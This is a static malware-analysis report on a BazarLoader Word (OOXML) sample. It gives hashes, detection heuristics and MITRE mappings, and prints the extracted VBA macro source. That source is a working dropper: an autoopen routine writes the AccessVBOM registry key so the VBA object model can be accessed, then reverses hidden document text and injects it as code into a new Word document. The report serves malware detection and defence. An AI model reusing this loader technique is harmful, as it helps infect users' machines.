BazarLoader — Office (OOXML) malware analysis

Static analysis result for SHA-256 2d3c930a53b6dcca…

MALICIOUS

Office (OOXML)

46.9 KB Created: 2021-06-28 11:08:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-07-10
MD5: 0444fe55068e3adf7854f1793ca8e2c4 SHA-1: 7ecdfdfd68c80ce64e1c58b80abf52a005873f3e SHA-256: 2d3c930a53b6dcca5841e7b633b9ca05054967f37479a714dad560242c14bd05
270 Risk Score

Malware Insights

BazarLoader · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious OOXML document containing VBA macros. The 'autoopen' macro executes 'classDocument', which uses WScript.Shell to write a registry key, and 'databaseProcBorder' which reconstructs and injects VBA code into a new Word document. This injected code then downloads and executes a payload from the reconstructed URL: the embedded link The ClamAV detection name 'Doc.Downloader.BazarBlue09212-9898946-0' strongly suggests the BazarLoader family.

Heuristics 8

  • ClamAV: Doc.Downloader.BazarBlue09212-9898946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.BazarBlue09212-9898946-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub classDocument()
    CreateObject("wscript.shell").RegWrite procedureGenericRight, 1, "REG_DWORD"
    End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub classDocument()
    CreateObject("wscript.shell").RegWrite procedureGenericRight, 1, "REG_DWORD"
    End Sub
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Sub databaseProcBorder(storageDocumentLib)
    Set pasteTextboxTemp = GetObject("", "word.application")
    With pasteTextboxTemp.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "valueText"
    Sub autoopen()
    classDocument
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1213 bytes
SHA-256: f1d18d190b4ae619783de070f7e9ff1bab3f718eff62bdaf5991afde08eb4c43
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "dataGeneric"
Function pasteVbRemove()
pasteVbRemove = ActiveDocument.Range.Text
End Function
Sub classDocument()
CreateObject("wscript.shell").RegWrite procedureGenericRight, 1, "REG_DWORD"
End Sub
Function nextDatabaseCounter()
nextDatabaseCounter = Mid(pasteVbRemove, 4 / 2, 3000000)
End Function

Attribute VB_Name = "valueText"
Sub autoopen()
classDocument
databaseProcBorder StrReverse(nextDatabaseCounter)
End Sub
Sub databaseProcBorder(storageDocumentLib)
Set pasteTextboxTemp = GetObject("", "word.application")
With pasteTextboxTemp.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString storageDocumentLib
End With
pasteTextboxTemp.Quit SaveChanges:=wdDoNotSaveChanges
End Sub
Function procedureGenericRight()
procedureGenericRight = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & Application.Version & "\Word\Security\AccessVBOM"
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15872 bytes
SHA-256: 7a038f424dcf25d1bd2d52361c6a697b4134f1cd045adde93cac728319d1dbe1